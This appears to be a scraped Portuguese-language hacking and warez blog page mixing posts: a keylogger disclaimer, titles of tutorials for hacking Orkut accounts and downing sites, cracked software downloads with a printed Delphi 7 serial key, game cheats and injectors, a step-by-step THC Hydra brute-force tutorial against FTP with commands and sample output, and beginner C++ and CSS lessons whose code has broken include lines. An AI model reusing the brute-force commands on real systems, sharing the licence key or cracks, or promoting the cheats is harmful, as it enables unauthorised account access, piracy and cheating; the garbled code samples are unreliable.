UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.
NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.
Nada como uma dica dessas comemorando esse UM ANO do Explorando!

NOTA: Apesar de funcionar, essa forma de criar keylogger é uma gambiarra tremenda. Não é ideal usar um Timer para isso, devido o processamento, quem sabe em alguma situação com uso intensivo de CPU por outras aplicações algumas teclas deixem de ser capturadas. O melhor é estudar sobre Hooks usando a API do Windows que intercepta os caracteres enviados pelo teclado, mas falar disso fica para uma outra hora.

[ Video Aula ] Como derrubar um site utilizando o CMD pelo comando ping

[ Video Aula ] Como derrubar um site utilizando o CMD pelo comando ping

[ Video Aula ] Como Hackear Orkut Confirmado Utlizando o Brutus [ Brutal Force ]

[ Video Aula ] Como Hackear Orkut Confirmado Utlizando o Brutus [ Brutal Force ]


[ Video Aula ] Como Hackear Orkut Não Confirmado


[ Video Aula ] Como Hackear Orkut





Testado e Aprovado Pessoal

[ Download ] Adobe Dreamweaver CS5 Final

[ Download ] Adobe Dreamweaver CS5 Final + Crack


adobe dreamweaver cs5 Download   Adobe Dreamweaver CS5 Final + Crack Baixar Grátis
Descrição
Cada vez mais usuários comuns querem aprender como desenvolver páginas de internet, e o programa Adobe Dreamweaver tem facilitado muito, pois consegue reunir na mesma interface recursos para programadores — que tem como base o código puro — e também recursos para os designers que são os mais experientes quando falamos do visual das páginas.
Informações do Programa
Fabricante: Adobe
Estilo: Programação
Tamanho: 330 MB
Formato: Rar
Idioma: Inglês

[ Downloads ] Borland Delphi 7 Enterprise Edition + Serial


[ Downloads ] Borland Delphi 7 Enterprise Edition + Serial


O Borland® Delphi(TM) 7 Studio Enterprise fornece novas tecnologias completamente integradas para aumentar a produtividade do programador. Deixe as suas aplicações prontas para a tecnologia Microsoft® .NET com o kit de migração do Delphi 7 Studio. Utilize o ModelMaker – a tecnologia de modelagem visual em UML(TM) para desenvolver as suas aplicações eficientemente, e adicione conteúdos interactivos para Web sites construindo aplicações Web HTML server-side dinâmicas com o AToZed Software IntraWeb. A tecnologia DataSnap(TM) (antes conhecida como MIDAS) que distribui drivers de middleware escalonáveis royalty-free para a criação de soluções de bancos de dados enterprise-class. Com o ambiente Borland Kylix(TM) 3 for Delphi incluído, transporte as suas aplicações Windows® multi-plataforma para Linux®.
SERIAL
Number: 6AMD-PKG68E-DB8PP7-9SFE
Key: 3QH-9QW
 


[ Video Aula ] Como Criar um Sistema de Login e Senha no Delphi 7

[ Video Aula ] Como Criar um Sistema de Login e Senha no Delphi 7





Pessoal mais pra frente eu postarei uma video aula de como fazer um sistema de login e senha com banco de dados.

[ Tutorial ] Ataques brute force com o Hydra

[ Tutorial ] Ataques brute force com o Hydra



Senhas são talvez o elo mais fraco em qualquer sistema de segurança existente hoje em dia. Nem sempre o administrador, que tem conhecimento de questões relacionadas à segurança da informação, pode acompanhar o usuário e garantir que ele faça uma escolha de senha segura. Muitas vezes, nem mesmo quando se define regras para senhas pode-se ter 100% de certeza que uma senha segura será a escolhida. Por exemplo, imagine que você definiu uma regra que requer que seja escolhida uma senha de no mínimo 8 caracteres, letras maiúsculas e minúsculas e números. Se o seu usuário escolher algo como “Pedro123″ você continuará a ter uma senha insegura.
Mas o pior lado dessa estória é que o atacante também sabe que senhas são inseguras e muito frequentemente se aproveita desse fato para ganhar acesso ilegal ao seu sistema. A técnica mais simples utilizada por usuários maliciosos é o brute forcing. Neste post, vou definir o que é brute force e também vou mostrar a ferramenta THC Hydra utilizada em ataques deste tipo.

O que é o brute force?

Traduzindo ao pé da letra, brute force significa “força bruta“. O uso mais comum deste ataque é para descobrir senhas testando todas as possibilidades possíveis (combinando todos os caracteres existentes). Caso o atacante descubra algum padrão nas senhas, isso pode facilitar um pouco a vida dele pois ele poderá gerar senhas que seguem esse padrão definido pelo alvo. Neste contexto, quanto mais curta e simples a senha, mais rápido ela será adivinhada.
Outros contextos em que frequentemente se utiliza força bruta é para fazer a enumeração de nomes de usuário e de registros DNS de uma zona específica (permitindo assim que você mapeie a rede mais facilmente). Um exemplo de ferramenta de enumeração de DNS é o Fierce.
Obviamente, o atacante não fica criando as senhas de cabeça e tentando uma a uma no formulário de login! :) Primeiro ele cria uma wordlist, que nada mais é do que um arquivo texto com milhares de palavras geradas automaticamente, uma por linha. Esta wordlist geralmente é criada por programas especializados ou baixada da Internet.
Já falei sobre dois desses programas aqui no blog:
  • Crunch
  • WYD
Ambos geram wordlists, porém, baseados em coisas diferentes: o Crunch utiliza padrões definidos por você para criar as senhas; o WYD lê textos de sites e dos arquivos presentes no site para encontrar palavras e gerar wordlists. Cada um é mais apropriado em situações diferentes, porém ambos são ferramentas extremamente úteis. Leia os posts indicados acima e veja a diferença entre as ferramentas.
Após criar a wordlist, você deve encontrar uma ferramenta que permita a você testá-la contra um serviço específico. O THC Hydra suporta vários serviços diferentes como POP3, Telnet, SSH, etc. O TSGrinder é uma ferramenta desenvolvida especificamente para brute force no Terminal Services de máquinas rodando Windows. Neste post vou mostrar como utilizar o THC Hydra.

O THC Hydra

A ferramenta que vou utilizar aqui para ilustrar um ataque brute force é o THC Hydra. Esta é uma ferramenta desenvolvida pelo grupo alemão THC há alguns anos já, que melhorou muito com o passar do tempo. A distribuição Linux Backtrack já possui esta ferramenta instalada e configurada, pronta para o uso. Caso você não tenha acesso a esta distribuição, você ainda pode fazer o download e realizar toda a configuração da ferramenta você mesmo (o que acaba dando um certo trabalho!).
O site oficial para download da ferramenta é o http://freeworld.thc.org/thc-hydra/. A versão mais nova é a 5.8, lançada em 29 de setembro de 2010. Além de ser bem simples de utilizá-lo, o Hydra tem muitas funcionalidades disponíveis (geralmente, habilitadas através de opções específicas na hora da compilação). Alguns dos serviços que ele suporta:
  • Telnet
  • Formulários HTTP/HTTPS
  • SSH
  • MySQL
  • PostgreSQL
  • MSSQL
  • SMB
  • LDAP2 e LDAP3
  • FTP
  • SNMP
  • CVS
  • VNC
Entre vários outros. Além disso, a ferramenta está licenciada sob a GPLv3 garantindo a disponibilidade do código para uso de qualquer natureza e também permitindo que você aprenda como a ferramenta funciona para modificá-la de acordo com as suas necessidades.
A ferramenta já vem toda instalada e configurada (inclusive com interface gráfica) no Back Track, porém obviamente você pode fazer o download do código-fonte e compilá-la em qualquer distribuição atual. Basta fazer o download do pacote no site citado anteriormente e seguir as instruções no arquivo README.

Exemplo de ataque a um servidor FTP

Como primeiro exemplo, vou mostrar como atacar um servidor FTP. Vou considerar que você já utilizou o WYD ou o Crunch para gerar a sua wordlist (ou que já possui uma wordlist pronta para uso), que você já compilou e instalou o Hydra (ou que está utilizando o Back Track) e que você está fazendo isso em seu próprio servidor ou em um servidor sobre o qual você tenha autoridade. NÃO FAÇA ISTO EM SERVIDORES DE TERCEIROS: isto é um crime passivo de processo criminal. Crie uma máquina virtual com o serviço que você quer analisar para seguir estas instruções.
Neste primeiro exemplo, vamos utilizar o Hydra via linha de comando. Antes de iniciar o ataque, você precisa dar algumas informações ao Hydra:
  • Localização da sua wordlist;
  • Endereço IP do servidor;
  • Nome de usuário ou arquivo contendo nomes de usuários para testar durante o ataque;
  • Qual o serviço que será atacado (FTP, SSH, Telnet, etc).
Na linha de comando, ficaria assim:
# hydra -l pedro -P senhas.txt 10.0.0.2 ftp

Pronto, agora o Hydra vai começar a rodar e, quando encontrar a senha correta irá escrevê-la na tela para você. A saída do comando seria mais ou menos essa:
Hydra v5.4 (c) 2006 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-12-14 20:22:53
[DATA] 16 tasks, 1 servers, 42 login tries (l:1/p:42), ~2 tries per task
[DATA] attacking service ftp on port 21
[STATUS] attack finished for 10.0.0.2 (waiting for childs to finish)
[21][ftp] host: 10.0.0.2   login: pedro   password: pedro
Hydra (http://www.thc.org) finished at 2010-12-14 20:23:10

Como você pode ver, a senha correta para o usuário “pedro” é “pedro”. Algumas outras opções úteis do Hydra são:
  • -R: reinicia um ataque interrompido anteriormente do ponto em que ele parou, ou seja, não recomeça o ataque do zero;
  • -s PORTA: utiliza o número de porta informado para atacar o serviço. Isto só é necessário caso o serviço não esteja sendo executado na porta padrão;
  • -L ARQUIVO: utiliza um arquivo contendo vários logins;
  • -p SENHA: utiliza a senha especificada ao invés de ficar lendo várias senhas de um arquivo;
  • -e ns: checagens adicionais. “n” para senha nula (em branco) e “s” para tentar o login como a senha.
No próximo exemplo, vamos atacar o FTP utilizando o xHydra, a interface gráfica do Hydra.

Exemplo de ataque a um servidor FTP utilizando a interface gráfica

Repito as mesmas recomendações que fiz anteriormente: NÃO faça isso em servidores de terceiros. Instale uma máquina virtual e faça os testes todos nela!
Para iniciar o xHydra, digite o seguinte comando:
# xhydra

A seguinte tela será exibida:
A primeira aba selecionada é a “Target”. Aqui você deve definir as informações sobre a máquina a ser atacada:
  • Em “Single Target” você pode definir o IP do servidor a ser atacado. Se for atacar mais de um servidor por vez, clique em “Target List” e digite os IP’s na caixa de texto;
  • Em “Port” digite a porta na qual o serviço está escutando;
  • Em “Protocol” escolha o protocolo adequado (FTP, HTTP, HTTPS, SSH, etc);
  • Selecione “Use SSL” se você quiser forçar o uso do SSL durante as conexões;
  • Selecione “Be verbose” se você quiser aumentar a quantidade de informações exibidas na tela;
  • Selecione “Show attempts” se você quiser que ele mostre todas as tentativas, mesmo as que não funcionaram;
  • Selecione “Debug” para exibir informações que lhe ajudem a resolver algum problema que você esteja tendo.
Feitas as configurações na aba “Target”, passe para a próxima aba “Passwords”.
Aqui, você vai encontrar as seguintes opções:
  • Em “Username” digite o nome de usuário cuja senha você está tentando descobrir;
  • Em “Username List” digite o caminho para o arquivo que contém os nomes de usuário cujas senhas você quer descobrir. Só é útil se você quiser a senha de mais de um usuário;
  • Em “Password” digite a senha a ser tentada;
  • Em “Password List” digite o caminho para a sua wordlist;
  • Selecione “Use colon separated file” se você tiver um arquivo no formato “login:senha”;
  • Selecione “Try login as password” para testar o login na senha;
  • Selecione “Try empty password” para testar a senha em branco.
Configurada a aba “Passwords”, vamos para a aba “Tuning”.
Aqui, você terá as seguintes opções:
  • “Number of tasks” define a quantidade de threads que o programa irá utilizar para trabalhar. Quanto mais threads, menos tempo levará para adivinhar a senha porém mais recursos serão consumidos;
  • O campo “Timeout” define o tempo que o Hydra vai ficar esperando por uma resposta do servidor antes de desistir e seguir para a próxima tentativa;
  • Selecione “Exit after first found pair” para fazer com que o Hydra pare o trabalho no primeiro conjunto de usuários e senhas válidos;
  • Se você precisar passar por um proxy para poder realizar o serviço, selecione o método correto para o Hydra se conectar: No Proxy, HTTP Method ou CONNECT Method. A opção correta vai depender do seu proxy;
  • No campo “Proxy” digite o IP e a porta do servidor proxy da sua rede;
  • Selecione “Proxy needs authentication” se você precisar de um usuário e senha para poder utilizar o proxy. Digite as credenciais nas caixas de texto localizadas abaixo.
Agora, podemos partir para a aba “Specific”.
Na aba “Specific” você só precisa alterar algum parâmetro para algum módulo específico. Por exemplo, para atacar formulários HTTP você precisa colocar o domínio e o caminho para a página a ser testada; para o SNMP você deve escolher a versão correta, etc. Depois que alterar tudo, passe para a aba “Start”.
Na aba “Start” você não tem opções a modificar, aqui você executa o ataque e verifica as mensagens exibidas pelo software:
Como você pode ver, as informações exibidas aqui são as mesmas que seriam exibidas na linha de comando.

Conclusão

Como você pode imaginar, adivinhas senhas não é um processo rápido. Você vai precisar gastar muito tempo no mesmo alvo até conseguir algum resultado. Porém, esta é uma boa forma de você identificar usuários que estão utilizando senhas muito fracas em algum sistema gerenciado por você e tomar alguma ação antes que seja tarde demais.
Mas como se defender deste tipo de ataque?
Isso é até que simples. A primeira providência que você precisa tomar é garantir que todos os seus usuários estejam utilizando uma senha forte. Uma senha pode ser considerada forte quando tem pelo menos 9 caracteres, símbolos especiais (como !, #, @, etc), letras maiúsculas e minúsculas e números. Também é interessante que a senha seja aleatória pois caso alguma informação pessoal sua seja utilizada na senha (como número de conta do banco, nome de sua esposa, marido, filhos, pai, mãe, etc) fica mais fácil para o atacante descobri-la. Você pode utilizar um gerador de senhas aleatórias como o oferecido pelo software KeePass.
Outra providência que você pode tomar é se livrar das senhas! :) Alguns softwares permitem outros tipos de autenticação mais difíceis de serem atacados, como o uso de certificados de segurança. Aqui no blog eu já escrevi um post sobre como utilizar certificados de segurança para logar no SSH. Além do SSH, alguns outros serviços permitem o uso deste certificado.
Além disso, também utilize um software que bloqueie o IP de origem depois de um determinado número de tentativas de login falhadas. Vários serviços podem ser protegidos por estes softwares, como o FTP e o SSH, por exemplo. Uma outra boa idéia, é utilizar o SSL para evitar que senhas possam ser sniffadas na sua rede.
É isso, agora é só testar os seus servidores para garanti que está tudo seguro e tomar as providências citadas anteriormente para deixar o seu ambiente ainda mais seguro. :)
Caso você tenha alguma outra sugestão sobre como proteger-se de ataques de força bruta, poste nos comentários!

[ Cheat ] AimBot Para Combat Arms

[ Cheat ] AimBot Para Combat Arms 

 

[ Cheat ] Aim Bot Para DDTANK Funfando BR Contas Vip


[ Cheat ] Aim Bot Para DDTANK Funfando BR Contas Vip 

 

Sobre o AimBot:

Ele sempre manda na força desejada sem Erro, basta ativa-lo e pressionar F3 durante o
Jogo, depois de ter colocado os danos adicionais.

Sobre a Free Version:


Você pode ficar 3 dias usando o programa.

Mensagem

[ Cheat ] Hack para Grand Chase Chaos

[ Cheat ] Hack para Grand Chase Chaos

[ Cheat ] Hack + Injector 2012 para Combat Arms

[ Cheat ] Hack + Injector 2012 para Combat Arms

pacote hack 2012 combat arms 
PACOTE HACK + INJETOR: COMBAT ARMS 2012
Pacote com varios hack atualizados (2012) e um Inject (2012)

 
 

[ Apostila ] C++ Basico

[ Apostila ] C++ Basico

[ Tutorial ] Basico de C++

[ Tutorial ] Basico de C++


História do C++
Breve introdução ao C++.
A linguagem C foi criada em 1972, por Dennis M. Ritchie e Brian
W.Kernighan, do Bell Labs innovations, baseado-se na linguagem B,
proveniente da antiga BCPL.

A linguagem C++ foi introduzida
por Bjarner Stroustrup, em meados de 1983, cin novos e poderosos
elementos e nova proposta para a programação.

C/C++ é utilizada no desenvolvimento de 90% dos jogos proficionais, desde Tetris a jogos que utilizam avançadas enguines como DOOM III, da Idsoftware.


Iniciando
Primeiramente iremos criar um simples exemplio para ser comentado.

1-
Abra o seu compilador e clique em Arquivo > Novo > Projeto...
> Projeto vasio(Com linguagem C++), e escolha um nome para ele.
Depois clique em Arquivo > Novo e clique em Arquivo fonte, ou simplesmente aperte Ctrl + N.

2- Apos ter feito o primeiro passo ira aparecer um tela branca, onde nós iremos digitar o nosso querido código.

3- Insira o seguinte código:

#include
int main()
{
 cout << "Hello world!\n";
 getchar();
 return 0;
}



4- Entendendo o código:
#include - include é uma diretiva usada para se chamar alguma biblioteca estatica para apoio no seu projeto. Ela e seguida do pre-fixo "#".

- ostream.h
este é o nome da nossa biblioteca estatica que deve ficar entre
"<>".(Bibliotecas estáticas são, bibliotecas de apoio em seu
código. Sevem caso você deseja importar algo de outro arquivo.)

int
main() - É a principal função do programa; nela é que se escreve todo o
conteúdo do nosso projeto que ficará entre as chaves({e }).

cout
<< "Hello world!\n" - cout é um comando que serve para se
imprimir um texto na tela. << indica que o texto irá para uma
saida, que no nosso caso é o nosso monitos. "Hello world!" é o texto
que será imprimido na tela e \n serve para indicar para o cursor que
ele deve pular para a segunda linha.(Lembra do nosso foi usado para
importar o nosso "cout")


( ; ) - Ponto e virgula, são usados no final de cada código escrito em C/C++, com algumas exeções.

getchar(); - getchar()
é uma entrada de char antiga do C/C++. Mas no nosso caso serve apenas
para que possamos ver o nosso texto, sem que o programe feche.

return 0; - return 0; é uma palavra reservada do C/C++. Encare ela por enquanto apenas como uma palavra obrigatoria.

( { e } ) - As chaves são no C/C++ como { = Inicio, } = Fim.

Lembrando que C/C++ é totalmente case-sensitive, ou seja faz diferença de minusculo para maiusculo.

Segundo exemplo:

Variáveis.
Como você já deve ter aprendido na aula de Matemática as variáveis são espreções que podem ter valores que podem variar.

As variáveis podem ser de de varios tipos sendo eles:
Citação:
int Valor de -2.147.483.648 a 2.147.483.684.
float Ponto flutuante pode ter valores entre, 1,2e-38 a 3,4e38.
doublePode ter valores entre 2,2e-308 a 1,8e308.
char armazena apenas um character da tabela ASCII.
bool Pode apenas armazenar valores do tipo, true e false.


Cada variável oculpa um espaço na memoria sendo eles(em bytes):
Citação:
int = 4 bytes
float= 4 bytes
double = 8 bytes
char = 1 byte
bool = 1 byte


Bom após vocês terem aprendido sobre variaveis vamos aprender a usalas.

Vamos usar o seguinte código e depois comenta-lo.

#include
int main()
{
 int teste;
 teste = 1;
 cout << "A nossa variável teste é: " << teste;
 getchar();
 return 0;
}



int teste; - Nessa parte nós declaramos uma variável do tipo "int" com o nome de Teste.

teste= 1; - Nessa outra parte nós atribuimos a variável teste o valor 1. O operador de atribuição de C/C++ e o sinal de " = ".

cout << "A nossa variável teste é: " << teste;- Nessa parte temos de diferente apenas a parte de " << teste" serve para nós imprimirmos na tela a nossa variavel "teste".

Entrada de dados:
Em todo programa é necessario que se tenha algum dado inserido no
programa pelo o usuario. Estes dados são armazenados em variáveis.

Exemplo entrada de dados:

#include
#include
int main()
{
 int teste;
 teste = 0;
 cout << "teste é igual a: " << teste;
 cin  >> teste;
 cout << "teste agora é: " << teste;
 getchar();
 return 0;
}


- Esta nova biblioteca estatica serve para que nós
possamos utilizar o comando "cin".

cin >> teste - "cin" é um comando de entrada de dados. ">>" siguinifica que oque for inserido será adicionado na variável seguinte.

Comando if.
Bom galera para não deixar o nosso tuto enorme vou ensinar somente mais este comando que é o comando "if".

if:
if é um comando de comparação ou seja ele serve para comparar dados
de uma variável com algum valor ou até mesmo outra variável.

Exemplo usando if:

#include
#include
int main()
{
 int a;
 cout << "Digite um valor acima de 0\n";
 cin >> a;
  if( a == 0)
  {
  cout << "Este valor não é acima de 0.";
  }
  if( a > 0)
  {
  cout << "Certo! Este valor é maior que 0.";
  }
getchar();
return 0;
}


if(a == 0) - O comando if como eu já disce serve para compar o valor de uma
variável com outro valor neste caso nós comparamos se o valor da
variável a é igual a 0.
Note que para compararmos se o valor é
igual nós usamos o operador relacional "==" porque o operador "=" é um
operador de atribuição.

Citação:
Operadores relacionais:
== (igual a)
> (maior que)
< (menor que)
<> (diferente de)
>= (maior ou igual a)
<= (menor ou igual a)


{ cout << "Este valor não é acima de 0."; } - Depois de fazer a
comparação iremos digitar um código que será executado apenas se a
comparação for verdadeira. E o nosso código deve ficar entre ({ e })
chaves.
Bom aqui termina mais um tutorial.

[ Tutorial ] Alguns Comandos, Parametros e Unidades em CSS

[ Tutorial ] Alguns Comandos, Parametros e Unidades em CSS

Comando Parâmetros utilizados
font-family family-name, generic-family, * family-name
font-style normal, italic, oblique
font-variant normal, small-caps
font-weight normal, bold, bolder, lighter, 100, 200, 300, 400, 500, 600, 700, 800, 900
font-size absolute-size, relative-size, length, percentage padrão: medium
font font-style, font-variant, font-weight, font-size, font-family
color color (em base 10, base 16 ou nome)
background-color transparent, color
background-image none, url
background-repeat repeat (repete horizontale vertical), repeat-x (repete vertical), repeat-y (repete horizontal), no-repeat (não repete)
background-attachment scroll (imagem "rola" com a tela), fixed ( imagem fixa na tela)
background-position percentage, length{1,2}, top, center, bottom, left, center, right padrão: 0% 0%
background background-color, background-image, background-repeat, background-attachment, background-position
text-decoration none, underline, overline, line-through, blink padrão: none
vertical-align baseline, sub, super, top, text-top, middle, bottom, text-bottom, percentage
text-align left, right, center, justify
text-indent length, percentage padrão: 0
line-height normal, number, length, percentage
margin-top length, percentage, auto padrão: 0
margin-right length, percentage, auto padrão: 0
margin-bottom length, percentage, auto padrão: 0
margin-left length, percentage, auto padrão: 0
margin length, percentage, auto{1,4}
list-style-type disc, circle, square, decimal, lower-roman, upper-roman, lower-alpha, upper-alpha, none
list-style-image none, url
list-style-position outside, inside
list-style keyword, position, url
position static, absolute, relative
left auto, length, percentage
top auto, length, percentage
z-index auto, integer
width auto, length, percentage
height auto, length, percentage
visibility inherit, visible, hidden


Unidades de medidas

Várias unidades diferentes podem ser utilizadas:

pt
pontos, em que 1 ponto = 1/72 de polegada
pc picas
em ems
in polegadas
cm centímetros
mm milímetros
% parte porcentual de algum outro valor, portanto é proporcional.
px
pixels: É proporcional. Depende da resolução de vídeo.

Como há unidades proporcionais é muito importante testar as páginas em diferentes resoluções de video.
Template produzido by - Renan Web Desgin | Fazer uma Nova Postagem